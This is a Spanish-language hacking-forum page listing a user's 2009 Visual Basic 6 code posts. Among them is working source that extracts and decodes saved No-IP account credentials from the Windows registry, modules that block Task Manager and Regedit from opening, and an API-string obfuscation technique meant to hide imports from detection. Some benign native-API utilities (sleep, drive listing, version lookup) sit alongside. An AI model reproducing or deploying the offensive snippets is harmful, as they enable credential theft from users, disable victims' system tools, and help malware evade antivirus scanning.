elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 [8] 9 10 11 12
71  Programación / Programación Visual Basic / [SRC] NO-IP, sacar constraseña y usuario... en: 3 Noviembre 2009, 21:49 pm
Código
  1. '--------------------------------------------------------------------------------------------
  2. ' Module    : mNO_IP
  3. ' Author  : Karcrack
  4. ' Date      : 03/11/2009
  5. ' Purpose   : Retrieve No-IP DUC user & password
  6. ' Thanks    :
  7. '       Cobein  :   Original code                (http://www.advancevb.com.ar/?p=247)
  8. '       VBSpeed :   Original Decode64 function  (http://www.xbeat.net/vbspeed/c_Base64Dec.htm)
  9. '---------------------------------------------------------------------------------------------
  10.  
  11. Option Explicit
  12.  
  13. Private Declare Function RegOpenKey Lib "ADVAPI32" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
  14. Private Declare Function RegQueryValueEx Lib "ADVAPI32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
  15. Private Declare Function RegCloseKey Lib "ADVAPI32" (ByVal hKey As Long) As Long
  16.  
  17. Public Function GetNO_IP(ByRef sUser As String, ByRef sPass As String) As Boolean
  18.    Dim lhKey           As Long
  19.    Dim sBuffer         As String * 512
  20.  
  21.    If Not RegOpenKey(&H80000002, "Software\Vitalwerks\DUC", lhKey) Then
  22.        If RegQueryValueEx(lhKey, "Username", 0, 0, ByVal sBuffer, 512) = 0 Then
  23.            sUser = Left$(sBuffer, lstrlen(sBuffer))
  24.        End If
  25.        If RegQueryValueEx(lhKey, "Password", 0, 0, ByVal sBuffer, 512) = 0 Then
  26.            sPass = Decode64(Left$(sBuffer, lstrlen(sBuffer)))
  27.        End If
  28.        GetNO_IP = CBool(Len(sUser) And Len(sPass))
  29.        Call RegCloseKey(lhKey)
  30.    End If
  31. End Function
  32.  
  33. Private Function Decode64(ByVal Base64String As String) As String
  34.    Dim Enc()           As Byte
  35.    Dim b()             As Byte
  36.    Dim Out()           As Byte
  37.    Dim Dec(255)        As Byte
  38.    Dim i               As Long
  39.    Dim j               As Long
  40.    Dim L               As Long
  41.  
  42.    Enc = StrConv("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", vbFromUnicode)
  43.    For i = 0 To 255:   Dec(i) = 64:        Next i
  44.    For i = 0 To 63:    Dec(Enc(i)) = i:    Next i
  45.  
  46.    L = Len(Base64String)
  47.    b = StrConv(Base64String, vbFromUnicode)
  48.  
  49.    ReDim Preserve Out(0 To (L \ 4) * 3 - 1)
  50.    For i = 0 To UBound(b) - 1 Step 4
  51.        Out(j) = (Dec(b(i)) * 4) Or (Dec(b(i + 1)) \ 16): j = j + 1
  52.        Out(j) = (Dec(b(i + 1)) And 15) * 16 Or (Dec(b(i + 2)) \ 4): j = j + 1
  53.        Out(j) = (Dec(b(i + 2)) And 3) * 64 Or Dec(b(i + 3)): j = j + 1
  54.    Next i
  55.  
  56.    ReDim Preserve Out(0 To UBound(Out) - IIf((b(L - 2) = 61), 2, IIf((b(L - 1) = 61), 1, 0)))
  57.    Decode64 = StrConv(Out, vbUnicode)
  58. End Function
  59.  
  60. Private Function lstrlen(ByVal sStr As String) As Long
  61.    lstrlen = InStr(1, sStr & Chr$(0), Chr$(0)) - 1
  62. End Function
Ejemplo:
Código
  1.    Dim U       As String
  2.    Dim P       As String
  3.  
  4.    If GetNO_IP(U, P) = True Then
  5.        MsgBox "Usuario:" & U & vbCrLf & "Password:" & P
  6.    End If

Simplemente he 'mejorado' la version del codigo original de Cobein, leer los creditos para mas informacion ;D
72  Programación / Programación Visual Basic / [NATIVO] NtGetPenDrives, Obtiene la lista de unidades extraibles en: 31 Octubre 2009, 18:02 pm
Código
  1. 'NTDLL
  2. Private Declare Function NtQueryInformationProcess Lib "NTDLL" (ByVal hProcess As Long, ByVal ProcessInformationClass As Long, ProcessInformation As Any, ByVal ProcessInformationLength As Long, ReturnLength As Long) As Long
  3.  
  4. Private Type PROCESS_DEVICEMAP_INFORMATION
  5.    DriveMap                As Long
  6.    DriveType(1 To 32)      As Byte
  7. End Type
  8.  
  9. Private Const ProcessDeviceMap = 23
  10.  
  11. Public Function NtGetPenDrives() As Collection
  12.    Dim cTMP                As New Collection
  13.    Dim tPDC                As PROCESS_DEVICEMAP_INFORMATION
  14.    Dim i                   As Long
  15.    Dim lMask               As Long
  16.  
  17.    If NtQueryInformationProcess(-1, ProcessDeviceMap, tPDC, Len(tPDC), ByVal 0&) = 0 Then
  18.        For i = 1 To 25
  19.            If tPDC.DriveMap And 2 ^ i Then
  20.                If (tPDC.DriveType(i + 1) = 2) Then
  21.                    cTMP.Add Chr$(65 + i) & ":\"
  22.                End If
  23.            End If
  24.        Next i
  25.    End If
  26.  
  27.    Set NtGetPenDrives = cTMP
  28. End Function
Ejemplo de uso:
Código
  1. Sub Main()
  2.    Dim v                   As Variant
  3.  
  4.    For Each v In NtGetPenDrives
  5.        Debug.Print v
  6.    Next v
  7. End Sub

Notas:
  • No incluye la unidad A:
  • No filtra las unidades por BusType...

Simplemente he hecho una nueva funcion a partir de estas funciones Nativas que hice algun tiempo:
Código:
http://www.advancevb.com.ar/?p=335
73  Programación / Programación Visual Basic / [m][SNIPPET] NtDelayExecution - Sleep Nativo en: 20 Octubre 2009, 19:13 pm
Código
  1. 'NTDLL
  2. Private Declare Sub NtDelayExecution Lib "NTDLL" (ByVal Alertable As Boolean, ByRef Interval As Any)
  3.  
  4. Private Sub NtSleep(ByVal lMs As Long)
  5.    Call NtDelayExecution(False, CCur(-(lMs)))
  6. End Sub

Minimalista al maximo ;D

Cualquier duda posteen please ;)
74  Programación / Programación Visual Basic / [m][PEB] Leer cadenas interesantes del PEB (Mi Ruta, CommandLine y mas) en: 24 Septiembre 2009, 18:40 pm
Código
  1. Option Explicit
  2.  
  3. 'KERNEL32
  4. Private Declare Function lstrcpyW Lib "KERNEL32" (ByVal lpString1 As Long, ByVal lpString2 As Long) As Long
  5. 'NTDLL
  6. Private Declare Function RtlGetCurrentPeb Lib "NTDLL" () As Long
  7. 'MSVBVM60
  8. Private Declare Sub GetMem4 Lib "MSVBVM60" (ByVal Addr As Long, ByRef RetVal As Long)
  9.  
  10. Public Enum STRING_TYPE
  11.    CurrentDirectoryPath = &H28
  12.    DllPath = &H34
  13.    ImagePathName = &H3C
  14.    CommandLine = &H44
  15.    WindowTitle = &H74
  16.    DesktopName = &H7C
  17.    ShellInfo = &H80
  18.    RuntimeData = &H84
  19. End Enum
  20.  
  21. '---------------------------------------------------------------------------------------
  22. ' Procedure : GetUPPString
  23. ' Author    : Karcrack
  24. ' Date      : 24/09/2009
  25. ' Purpose   : Get strings from PEB.RTL_USER_PROCESS_PARAMETERS
  26. '---------------------------------------------------------------------------------------
  27. '
  28. Public Sub GetUPPString(ByRef sRet As String, ByVal lType As STRING_TYPE)
  29.    Dim lUPP        As Long         'RTL_USER_PROCESS_PARAMETERS
  30.    Dim lAddr       As Long         'RTL_USER_PROCESS_PARAMETERS.X
  31.  
  32.    Call GetMem4(RtlGetCurrentPeb + &H10, lUPP)
  33.    Call GetMem4(lUPP + lType, lAddr)
  34.    Call lstrcpyW(StrPtr(sRet), lAddr)
  35. End Sub

Ejemplo de uso:
Código
  1. Sub Main()
  2.    Dim sStr        As String * 260
  3.  
  4.    Call GetUPPString(sStr, ImagePathName)
  5.  
  6.    MsgBox "MiRuta:" & vbCrLf & sStr
  7. End Sub

Minimalista al maximo ;D

Cualquier duda preguntad  ;)
75  Programación / Programación Visual Basic / [VB+ASM]Encriptacion, Rotacion de Bits [ROR/ROL] en: 19 Septiembre 2009, 14:29 pm
Código
  1. Option Explicit
  2. 'USER32
  3. Private Declare Function CallWindowProcA Lib "USER32" (ByVal lPtr As Long, Optional ByVal Param1 As Long = 0, Optional ByVal Param2 As Long = 0, Optional ByVal Param3 As Long = 0, Optional ByVal Param4 As Long = 0) As Long
  4.  
  5. Private Const sThunk        As String = "8B7C24048B4C24088B54240CE8000000005D83ED118A1A885D1EC0<OPCODE>39FFFF42803A007404E2EEEB068B54240CEBF6C3"
  6.  
  7. '---------------------------------------------------------------------------------------
  8. ' Procedure : CryptIt
  9. ' Author    : Karcrack
  10. ' Date      : 19/09/2009
  11. ' Purpose   : Encrypt Using ROL/ROR operands...
  12. ' NOTES     : Now FULL ASM, to make it QUICKEST possible!
  13. '             Now PASSWORD compatible
  14. '             Fixed FULL rotation...
  15. '---------------------------------------------------------------------------------------
  16. '
  17. Public Sub CryptIt(ByRef bvData() As Byte, ByRef bvPass() As Byte, Optional ByVal bDecrypt As Boolean = False, Optional ByVal bPreventFULL As Boolean = True)
  18.    Dim i                   As Long
  19.    Dim sASM                As String
  20.    Dim bvASM(&HFF)         As Byte
  21.  
  22.    If bPreventFULL = True Then
  23.        'Prevent FULL rotation...
  24.        For i = LBound(bvPass) To UBound(bvPass)
  25.            If Not (bvPass(i) Mod 8) Then bvPass(i) = bvPass(i) + 1
  26.        Next i
  27.    End If
  28.  
  29.    sASM = Replace$(sThunk, "<OPCODE>", IIf((bDecrypt = False), "4C", "44"))
  30.  
  31.    Call OPCODES(sASM, bvASM)
  32.  
  33.    Call CallWindowProcA(VarPtr(bvASM(0)), VarPtr(bvData(0)), UBound(bvData) + 1, VarPtr(bvPass(0)))
  34. End Sub
  35.  
  36. Private Sub OPCODES(ByVal sThunk As String, ByRef bvTmp() As Byte)
  37.    Dim i               As Long
  38.  
  39.    For i = 0 To Len(sThunk) - 1 Step 2
  40.        bvTmp((i / 2)) = CByte("&H" & Mid$(sThunk, i + 1, 2))
  41.    Next i
  42. End Sub

Ejemplo de uso:
Código
  1.    Dim bvPass()        As Byte
  2.    Dim bvData()        As Byte
  3.  
  4.    bvPass = StrConv("YEEEAH!" & Chr$(0), vbFromUnicode)
  5.    bvData = StrConv("KARCRACK FTW! =D", vbFromUnicode)
  6.  
  7.    Call CryptIt(bvData, bvPass)
  8.  
  9.    MsgBox StrConv(bvData, vbUnicode)
  10.  
  11.    Call CryptIt(bvData, bvPass, True)
  12.    MsgBox StrConv(bvData, vbUnicode)

El password siempre ha de acabar en chr(0)!!

Saludos ;D
76  Programación / Programación Visual Basic / [SNIPPET] Get W$ Version {RtlGetVersion - Native API} en: 16 Septiembre 2009, 22:11 pm
Código
  1. 'NTDLL
  2. Private Declare Function RtlGetVersion Lib "NTDLL" (ByRef lpVersionInformation As Long) As Long
  3.  
  4. Private Function NativeGetVersion() As String
  5.    Dim tOSVw(&H54)     As Long
  6.  
  7.    tOSVw(0) = &H54 * &H4
  8.    Call RtlGetVersion(tOSVw(0))
  9.  
  10.    NativeGetVersion = Join(Array(tOSVw(4), tOSVw(1), tOSVw(2)), ".")
  11. End Function
  12.  
  13. Public Function VersionToName(ByVal sVersion As String) As String
  14.    Select Case sVersion
  15.        Case "1.0.0":     VersionToName = "Windows 95"
  16.        Case "1.1.0":     VersionToName = "Windows 98"
  17.        Case "1.9.0":     VersionToName = "Windows Millenium"
  18.        Case "2.3.0":     VersionToName = "Windows NT 3.51"
  19.        Case "2.4.0":     VersionToName = "Windows NT 4.0"
  20.        Case "2.5.0":     VersionToName = "Windows 2000"
  21.        Case "2.5.1":     VersionToName = "Windows XP"
  22.        Case "2.5.3":     VersionToName = "Windows 2003 (SERVER)"
  23.        Case "2.6.0":     VersionToName = "Windows Vista"
  24.        Case "2.6.1":     VersionToName = "Windows 7"
  25.        Case Else:        VersionToName = "Unknown"
  26.    End Select
  27. End Function

Ejemplo para llamarla:
Código:
MsgBox VersionToName(NativeGetVersion)

Esta en distintas funciones para que, por ejemplo, el servidor envie solo lo que devuelve NativeGetVersion y luego el cliente interprete los numeros con VersionToName... :rolleyes:

Lleva un tiempo en HackHound y en AdvanceVB... se me olvido ponerla aqui.... lo siento :-[ :xD

Código:
http://www.advancevb.com.ar/?p=255
http://hackhound.org/forum/index.php?topic=21559.msg133308#msg133308

Saludos ;)
77  Programación / Programación Visual Basic / [NTDLL-NATIVE] Alternativa GetLogicalDrives y mas{NtQueryInformationProcess} en: 9 Septiembre 2009, 23:00 pm
Código
  1. Option Explicit
  2. '---------------------------------------------------------------------------------------
  3. ' Module    : mNativeGetDrives
  4. ' Author    : Karcrack
  5. ' Date      : 09/09/2009
  6. ' Purpose   : Alternative to GetLogicalDrives/GetLogicalDriveStrings/GetDriveType
  7. '               using NATIVE APIs!!!!
  8. ' Thanks    : SkyWeb -> Tester =P
  9. ' ChangeLog :
  10. '           - First release                                             090909
  11. '           - Improved, now with structure and added NtGetDriveType     100909
  12. '---------------------------------------------------------------------------------------
  13.  
  14. 'NTDLL
  15. Private Declare Function NtQueryInformationProcess Lib "NTDLL" (ByVal hProcess As Long, ByVal ProcessInformationClass As Long, ProcessInformation As Any, ByVal ProcessInformationLength As Long, ReturnLength As Long) As Long
  16.  
  17. Private Type PROCESS_DEVICEMAP_INFORMATION
  18.    DriveMap                As Long
  19.    DriveType(1 To 32)      As Byte
  20. End Type
  21.  
  22. Private Const ProcessDeviceMap = 23
  23.  
  24. Public Function NtGetLogicalDrives() As Long
  25.    Dim tPDC                    As PROCESS_DEVICEMAP_INFORMATION
  26.  
  27.    If NtQueryInformationProcess(-1, ProcessDeviceMap, tPDC, Len(tPDC), ByVal 0&) = 0 Then
  28.        NtGetLogicalDrives = tPDC.DriveMap
  29.    End If
  30. End Function
  31.  
  32. Public Function NtGetLogicalDrivesStrings() As String
  33.    Dim lUnits                  As Long
  34.    Dim i                       As Long
  35.  
  36.    lUnits = NtGetLogicalDrives
  37.  
  38.    For i = 0 To 25
  39.        If lUnits And 2 ^ i Then
  40.            NtGetLogicalDrivesStrings = NtGetLogicalDrivesStrings & Chr$(Asc("A") + i) & ":\" & Chr$(0)
  41.        End If
  42.    Next i
  43. End Function
  44.  
  45. Public Function NtGetDriveType(ByVal nDrive As String) As Long
  46.    Dim tPDC                    As PROCESS_DEVICEMAP_INFORMATION
  47.    Dim lNumb                   As Long
  48.  
  49.    If NtQueryInformationProcess(-1, ProcessDeviceMap, tPDC, Len(tPDC), ByVal 0&) = 0 Then
  50.        lNumb = Asc(Left$(UCase$(nDrive), 1)) - Asc("A")
  51.        If Not lNumb > 31 Then
  52.            NtGetDriveType = tPDC.DriveType(lNumb + 1)
  53.        End If
  54.    End If
  55. End Function

Un ejemplo de uso aqui:
Código:
http://www.advancevb.com.ar/wp-content/2009/09/mNativeGetVersion.zip

Saludos ::)
78  Programación / Programación Visual Basic / [SRC] Deshabilitar Regedit *NUEVO METODO* en: 7 Septiembre 2009, 17:48 pm
Metodo similar a este:
Código:
http://foro.elhacker.net/programacion_vb/src_deshabilitar_taskmgr_nuevo_metodo-t266708.0.html
Código
  1. Option Explicit
  2. '---------------------------------------------------------------------------------------
  3. ' Module    : mKillRegedit
  4. ' Author    : Karcrack
  5. ' Now$      : 07/09/09 17:25
  6. ' Used for? : Disable Regedit
  7. ' TestedOn  : Windows XP SP3
  8. '---------------------------------------------------------------------------------------
  9.  
  10. 'USER32
  11. Private Declare Function CreateWindowEx Lib "USER32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
  12. Private Declare Function RegisterClass Lib "USER32" Alias "RegisterClassA" (ByRef Class As WNDCLASS) As Long
  13. Private Declare Function DefWindowProc Lib "USER32" Alias "DefWindowProcA" (ByVal Hwnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  14.  
  15. Private Type WNDCLASS
  16.    style           As Long
  17.    lpfnwndproc     As Long
  18.    cbClsextra      As Long
  19.    cbWndExtra2     As Long
  20.    hInstance       As Long
  21.    hIcon           As Long
  22.    hCursor         As Long
  23.    hbrBackground   As Long
  24.    lpszMenuName    As String
  25.    lpszClassName   As String
  26. End Type
  27.  
  28. Public Sub DisableRegedit()
  29.    Dim tWC     As WNDCLASS
  30.  
  31.    With tWC
  32.        .style = &H6008
  33.        .hInstance = App.hInstance
  34.        .lpfnwndproc = GetPtr(AddressOf WndProc)
  35.        .lpszMenuName = "#103"
  36.        .lpszClassName = "RegEdit_RegEdit"
  37.    End With
  38.  
  39.    If RegisterClass(tWC) Then
  40.        Call CreateWindowEx(&H40000, "RegEdit_RegEdit", vbNullString, ByVal 0&, 0, 0, 0, 0, 0, 0, App.hInstance, ByVal 0&)
  41.    End If
  42. End Sub
  43.  
  44. Private Function WndProc(ByVal Hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  45.    WndProc = DefWindowProc(Hwnd, uMsg, wParam, lParam)
  46. End Function
  47.  
  48. Private Function GetPtr(ByVal lPtr As Long) As Long
  49.    GetPtr = lPtr
  50. End Function

Saludos ;)


MOD: Se me olvidaba! Para ejecutar multiples instancias del Regedit pueden hacer esto:
Código:
regedit -m
Con lo que se saltarian esta 'deshabilitacion' :xD
79  Programación / Programación Visual Basic / [SRC] Deshabilitar TaskMgr *NUEVO METODO* en: 7 Septiembre 2009, 16:37 pm
Código
  1. Option Explicit
  2. '---------------------------------------------------------------------------------------
  3. ' Module    : mKillTaskMgr
  4. ' Author    : Karcrack
  5. ' Now$      : 07/09/09 16:03
  6. ' Used for? : Disable TaskMgr
  7. ' Tested On : Windows XP, Windows Vista, Windows 7
  8. ' Thanks    : SkyWeb -> Support and Test (W$ Seven & Vista)
  9. '---------------------------------------------------------------------------------------
  10.  
  11. 'KERNEL32
  12. Private Declare Function CreateMutexW Lib "KERNEL32" (ByRef lpMutexAttributes As Long, ByVal bInitialOwner As Long, ByVal lpuName As Long) As Long
  13. Private Declare Function FreeLibrary Lib "KERNEL32" (ByVal hLibModule As Long) As Long
  14. Private Declare Function LoadLibrary Lib "KERNEL32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
  15. 'USER32
  16. Private Declare Function SetWindowLong Lib "USER32" Alias "SetWindowLongA" (ByVal Hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
  17. Private Declare Function CreateWindowEx Lib "USER32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
  18. Private Declare Function LoadString Lib "USER32" Alias "LoadStringA" (ByVal hInstance As Long, ByVal wID As Long, ByVal lpBuffer As String, ByVal nBufferMax As Long) As Long
  19. Private Declare Function CallWindowProc Lib "USER32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal Hwnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  20.  
  21. Private lpPrev      As Long
  22.  
  23. Public Sub DisableTaskMgr()
  24.    Call CreateMutexW(ByVal 0&, False, StrPtr("NTShell Taskman Startup Mutex"))                         'Windows XP
  25.    Call CreateMutexW(ByVal 0&, False, StrPtr("Local\TASKMGR.879e4d63-6c0e-4544-97f2-1244bd3f6de0"))    'Windows 7
  26.    Call CreateMutexW(ByVal 0&, False, StrPtr("Local\NTShell Taskman Startup Mutex"))                   'Windows Vista
  27.    lpPrev = SetWindowLong(CreateWindowEx(&H40000, "#32770", GetTaskWinName, ByVal 0&, 0, 0, 0, 0, 0, 0, App.hInstance, ByVal 0&), (-4), AddressOf WndProc)
  28. End Sub
  29.  
  30. Private Function GetTaskWinName() As String
  31.    Dim hInst       As Long
  32.    Dim sTMP        As String * 256
  33.  
  34.    hInst = LoadLibrary(Environ$("SYSTEMROOT") & "\SYSTEM32\TaskMgr.exe")
  35.    If hInst Then
  36.        GetTaskWinName = Left$(sTMP, LoadString(hInst, &H2713, sTMP, Len(sTMP)))
  37.        Call FreeLibrary(hInst)
  38.    End If
  39. End Function
  40.  
  41. Private Function WndProc(ByVal Hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  42.    If uMsg = &H40B Then
  43.        WndProc = &H40B
  44.    Else
  45.        WndProc = CallWindowProc(lpPrev, Hwnd, uMsg, wParam, lParam)
  46.    End If
  47. End Function

El codigo habla por si solo :P

Solo funciona mientras nuestro proceso continue activo...

Saludos ;)
80  Programación / Programación Visual Basic / [NEW]mAPIObfuscation - Ofuscar Strings de las APIs... [NO CallAPIByName] en: 31 Agosto 2009, 17:50 pm
Código
  1. Option Explicit
  2. '---------------------------------------------------------------------------------------
  3. ' Module    : mAPIObfuscation
  4. ' Author    : Karcrack
  5. ' Now$      : 29/08/2009  13:54
  6. ' Used for? : Obfuscate API Declaration
  7. '---------------------------------------------------------------------------------------
  8.  
  9. 'MSVBVM60
  10. Private Declare Sub CopyBytes Lib "MSVBVM60" Alias "__vbaCopyBytes" (ByVal Size As Long, Dest As Any, Source As Any)
  11. 'KERNEL32
  12. Private Declare Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As Long, ByRef lpBaseAddress As Any, ByRef lpBuffer As Any, ByVal nSize As Long, ByRef lpNumberOfBytesWritten As Long) As Long
  13. Private Declare Function IsBadReadPtr Lib "KERNEL32" (ByRef lp As Any, ByVal ucb As Long) As Long
  14.  
  15. Public Function DeObfuscateAPI(ByVal sLib As String, ByVal sFunc As String) As Boolean
  16.    Dim lAddr           As Long
  17.    Dim sBuff           As String * &H200
  18.    Dim lLib            As Long
  19.    Dim lFunc           As Long
  20.  
  21.    If App.LogMode = 0 Then GoTo OUT
  22.  
  23.    lAddr = App.hInstance& - Len(sBuff)
  24.  
  25.    Do
  26.        lAddr = lAddr + Len(sBuff)
  27.        If IsBadReadPtr(ByVal lAddr, Len(sBuff)) <> 0 Then GoTo OUT
  28.        Call CopyBytes(Len(sBuff), ByVal sBuff$, ByVal lAddr&)
  29.        lLib = InStr(1, sBuff, sLib, vbBinaryCompare)
  30.        lFunc = InStr(1, sBuff, sFunc, vbBinaryCompare)
  31.    Loop Until (lLib <> 0) And (lFunc <> 0)
  32.  
  33.    lLib = lAddr + lLib - 1
  34.    lFunc = lAddr + lFunc - 1
  35.  
  36.    If WriteProcessMemory(-1, ByVal lLib&, ByVal E(sLib), Len(sLib), ByVal 0&) = 0 Then GoTo OUT
  37.    If WriteProcessMemory(-1, ByVal lFunc&, ByVal E(sFunc), Len(sFunc), ByVal 0&) = 0 Then GoTo OUT
  38.  
  39.    DeObfuscateAPI = True: Exit Function
  40. OUT:
  41.    DeObfuscateAPI = False: Exit Function
  42. End Function
  43.  
  44. Public Function E(ByVal s As String) As String
  45.    Dim i               As Long
  46.  
  47.    For i = 1 To Len(s)
  48.        E = E & Chr$(Asc(Mid$(s, i, 1)) Xor &HFF)
  49.    Next i
  50. End Function
  51.  

Ejemplo:
Código
  1. Option Explicit
  2.  
  3. 'USER32
  4. '_Private Declare Function MessageBox Lib "USER32" Alias "MessageBoxA" (ByVal hwnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long
  5. Private Declare Function MessageBox Lib "ª¬º­ÌÍ" Alias "²šŒŒž˜š½‡¾" (ByVal hwnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long
  6.  
  7. Sub Main()
  8.    If DeObfuscateAPI("ª¬º­ÌÍ", "²šŒŒž˜š½‡¾") = True Then
  9.        Call MessageBox(0, "TEST", "TEST", 0)
  10.    End If
  11. End Sub

Creo que esta bastente claro... pero por si acaso dire que lo que hace es declarar las APIs con las cadenas encriptadas (lo que hace que en el EXE no aparezcan las cadenas...) y luego las desecripta en Ejecucion...
Páginas: 1 2 3 4 5 6 7 [8] 9 10 11 12
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines